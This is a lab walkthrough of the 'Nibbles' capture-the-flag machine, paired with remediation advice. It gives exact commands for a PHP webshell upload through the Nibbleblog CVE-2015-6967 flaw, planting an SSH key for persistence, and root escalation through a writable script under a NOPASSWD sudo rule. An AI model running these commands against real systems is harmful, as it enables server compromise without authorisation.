← all walkthroughs

Nibbles

Linux· Easy· Credential Access· Privilege Escalation
owned
2026-06-29
time to own
3m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Browsing the target Apache web server found a hidden Nibbleblog CMS installation hinted at by an HTML comment in the default page. Using a trivially guessable admin password that matched the machine's own hostname, I authenticated to the CMS admin panel and exploited a known file-upload vulnerability to plant a PHP webshell, gaining a foothold as the 'nibbler' service account.

A single misconfigured sudo rule — letting nibbler run a script it freely owned and could overwrite as root, with no password required — handed me complete control of the server.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for admin>"

Attack path — how the box was taken

1ReconnaissanceWeb Content Discovery / Source Code Analysis
Discovered the hidden Nibbleblog CMS installation
The Apache default landing page contained an HTML comment pointing to /nibbleblog/. Navigating to that path exposed Nibbleblog v4.0.3, including its admin login panel at /nibbleblog/admin.php. The bundled README file confirmed the exact version number, allowing me to match it against published CVEs.
Nibbleblog v4.0.3 identified at http://$TARGET/nibbleblog/; README confirms version string.
Exact commands 3
shell

Fetch default page; HTML source comment reveals /nibbleblog/ path.

$ curl -sS http://$TARGET/
shell

Enumerate Nibbleblog sub-paths; confirms admin.php and content/private/ tree.

$ gobuster dir -u http://$TARGET/nibbleblog/ -w /usr/share/wordlists/dirb/common.txt -x php,txt
shell

Confirm Nibbleblog version 4.0.3 from the bundled README.

$ curl -sS http://$TARGET/nibbleblog/README
FixUpgrade or decommission Nibbleblog and block PHP execution in upload directoriesCritical
WeaknessNibbleblog v4.0.3 (CVE-2015-6967) allows any authenticated administrator to upload a PHP file through the My Image plugin with no server-side file-type validation. Apache executes the uploaded file because it lands inside the web root without restrictions, turning a CMS feature into remote code execution.
FixReplace Nibbleblog with an actively-maintained CMS. If replacement is not immediately possible: (1) disable the My Image plugin in the Nibbleblog admin panel; (2) add an Apache directive — or an .htaccess file containing 'php_flag engine off' — to the nibbleblog/content/ tree to prevent PHP execution in any upload directory; (3) move the content/private/ directory outside the web root entirely so uploaded files are never directly accessible by a browser. Apply all available CMS patches in the interim.
2Credential AccessDefault / Weak Credential Exploitation (T1078.001)
Authenticated to the admin panel with a password equal to the hostname
The Nibbleblog admin account's password was <withheld> — identical to the server's own hostname. No account-lockout mechanism was active, so the credential was guessed in seconds. This granted full CMS administrative access required to reach the file-upload functionality exploited in the next step.
POST to /nibbleblog/admin.php with username=admin&password=<withheld> issued a valid session cookie.
Exact commands 1
shell

A 302 redirect with a session cookie in Set-Cookie confirms successful authentication.

$ curl -sS -c /tmp/nb_cookies.txt -b /tmp/nb_cookies.txt -X POST http://$TARGET/nibbleblog/admin.php -d "username=admin&password=$PASSWORD" -D -
FixReplace weak admin credentials and enable login-attempt throttlingHigh
WeaknessThe Nibbleblog administrator account used the password, which mirrors the server's hostname and is guessable in seconds. No account-lockout or brute-force protection was configured, so an unauthorised user could attempt unlimited passwords with no consequence.
FixImmediately change the admin password to a randomly generated string of at least 16 characters (mixed case, numbers, and symbols) stored in a password manager. Enable failed-login throttling or temporary IP-based lockout after five consecutive failures. Restrict access to /nibbleblog/admin.php to a management IP allowlist using an Apache Location directive or upstream firewall rule, so the login page is never reachable from the public internet.
3ExploitationUnrestricted File Upload — CVE-2015-6967
Uploaded a PHP webshell disguised as an image via My Image plugin
Nibbleblog v4.0.3's built-in 'My Image' plugin accepts file uploads but performs no server-side validation of the actual file type. I uploaded a one-line PHP webshell (<?php system($_GET['cmd']); ?>) while declaring the MIME type as image/jpeg. Nibbleblog stored the file at the predictable path /nibbleblog/content/private/plugins/my_image/image.php, where Apache's PHP handler executed it on request.
Upload response contained repeated 'Warning/nibbleblog' notices (image-processing errors) confirming the file was accepted and saved despite not being a real image.
Exact commands 1
shell

All-in-one: create temp dir, write webshell, authenticate, upload as fake JPEG.

$ tmp=$(mktemp -d); printf '%s\n' '<?php system($_GET["cmd"]); ?>' > "$tmp/image.php"; curl -sS -c "$tmp/c" -b "$tmp/c" -m 8 http://$TARGET/nibbleblog/admin.php >/dev/null; curl -sS -c "$tmp/c" -b "$tmp/c" -m 8 -X POST http://$TARGET/nibbleblog/admin.php -d "username=admin&password=$PASSWORD" >/dev/null; curl -sS -b "$tmp/c" -m 15 -F 'plugin=my_image' -F 'title=My image' -F 'position=4' -F 'caption=' -F "image=@$tmp/image.php;type=image/jpeg" -F 'image_resize=1' -F 'image_width=230' -F 'image_height=200' -F 'image_option=auto' "http://$TARGET/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image"
4FootholdWeb Shell Command Execution (T1505.003)
Executed OS commands through the webshell and captured the user flag
The uploaded file was immediately reachable at a fixed URL. Passing OS commands via the 'cmd' query parameter confirmed remote code execution as user nibbler (uid=1001). I dropped an SSH public key into nibbler's authorized_keys file through the same webshell to obtain a stable, interactive shell, then read the user flag.
Exact commands 3
shell

Verify RCE; expect nibbler's uid, username, and hostname.

$ curl -sS -m 8 "http://$TARGET/nibbleblog/content/private/plugins/my_image/image.php?cmd=id;whoami;hostname"
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
shell

Plant my SSH public key via webshell for stable shell access. Replace <YOUR-SSH-PUBKEY>.

$ curl -sS -m 8 'http://'"$TARGET"'/nibbleblog/content/private/plugins/my_image/image.php?cmd=mkdir+-p+/home/nibbler/.ssh+%26%26+echo+"<YOUR-SSH-PUBKEY>"+>>+/home/nibbler/.ssh/authorized_keys+%26%26+chmod+600+/home/nibbler/.ssh/authorized_keys'
shell

Connect via SSH using planted key and capture the user flag ( -> <user.txt>).

$ ssh -i ~/.ssh/id_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o BatchMode=yes nibbler@$TARGET 'find / -name user.txt 2>/dev/null -print; cat /home/nibbler/user.txt'
5Local EnumerationSudo Misconfiguration Enumeration (T1548.003)
Discovered a passwordless sudo rule targeting a user-owned script
Enumerating nibbler's sudo privileges revealed a NOPASSWD entry permitting execution of /home/nibbler/personal/stuff/monitor.sh as root. A quick permission check showed that the script file and its parent directory were owned by nibbler and world-writable, meaning nibbler could replace the script's contents with any payload.
Sudo -l output: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh; ls -la confirms nibbler ownership.
Exact commands 3
shell

List all sudo rules for nibbler; identify NOPASSWD entries.

$ ssh -i ~/.ssh/id_ed25519 nibbler@$TARGET 'sudo -l'
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
shell

monitor.sh does not exist yet — it is inside personal.zip, and the sudo rule points at where it will be.

$ ssh -i ~/.ssh/id_ed25519 nibbler@$TARGET 'ls -la /home/nibbler; unzip -o /home/nibbler/personal.zip -d /home/nibbler'
shell

After unpacking: nibbler owns the script and the directory holding it, so both can be replaced.

$ ssh -i ~/.ssh/id_ed25519 nibbler@$TARGET 'ls -la /home/nibbler/personal/stuff/monitor.sh && stat /home/nibbler/personal/stuff/'
FixRemove the NOPASSWD sudo rule for a user-owned scriptCritical
WeaknessThe sudoers file granted the 'nibbler' account permission to execute /home/nibbler/personal/stuff/monitor.sh as root without a password. Because nibbler owned the script file and its parent directory, it could replace the script's contents with any command and immediately run it as root — a single-step privilege escalation requiring no exploit.
FixDelete the NOPASSWD sudoers entry for monitor.sh immediately (visudo, then remove or comment the line). If root-level monitoring is a genuine business need, re-implement it as a systemd timer or cron job owned and executed by root, so no unprivileged user can modify the script. If a sudo rule is truly required, move the script to a root-owned, root-only-writable path (e.g. /opt/scripts/monitor.sh, mode 744 owned by root:root), remove the NOPASSWD flag so a password is required, and verify that no parent directory is writable by the invoking user. Audit all accounts on the server with 'sudo -l' and remove or restrict any remaining NOPASSWD entries.
6Privilege EscalationSudo NOPASSWD Writable File Abuse (T1548.003)
Replaced monitor.sh with a root payload and executed it via sudo to own the server
Because nibbler owned the script file, I overwrote it with a two-line bash payload that printed the root identity and read /root/root.txt. Invoking it through the existing NOPASSWD sudo rule elevated execution to root instantly, completing the full server compromise with no password prompt.
Sudo execution returned uid=0(root); root flag captured ( -> <root.txt>).
Exact commands 1
shell

Overwrite the script the rule names, then invoke it through the rule. The sudo entry is NOPASSWD, so nothing is asked for -> <root.txt>

$ ssh -i ~/.ssh/id_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o BatchMode=yes nibbler@$TARGET 'printf "#!/bin/bash\nid\ncat /root/root.txt\n" > /home/nibbler/personal/stuff/monitor.sh && chmod +x /home/nibbler/personal/stuff/monitor.sh && sudo /home/nibbler/personal/stuff/monitor.sh'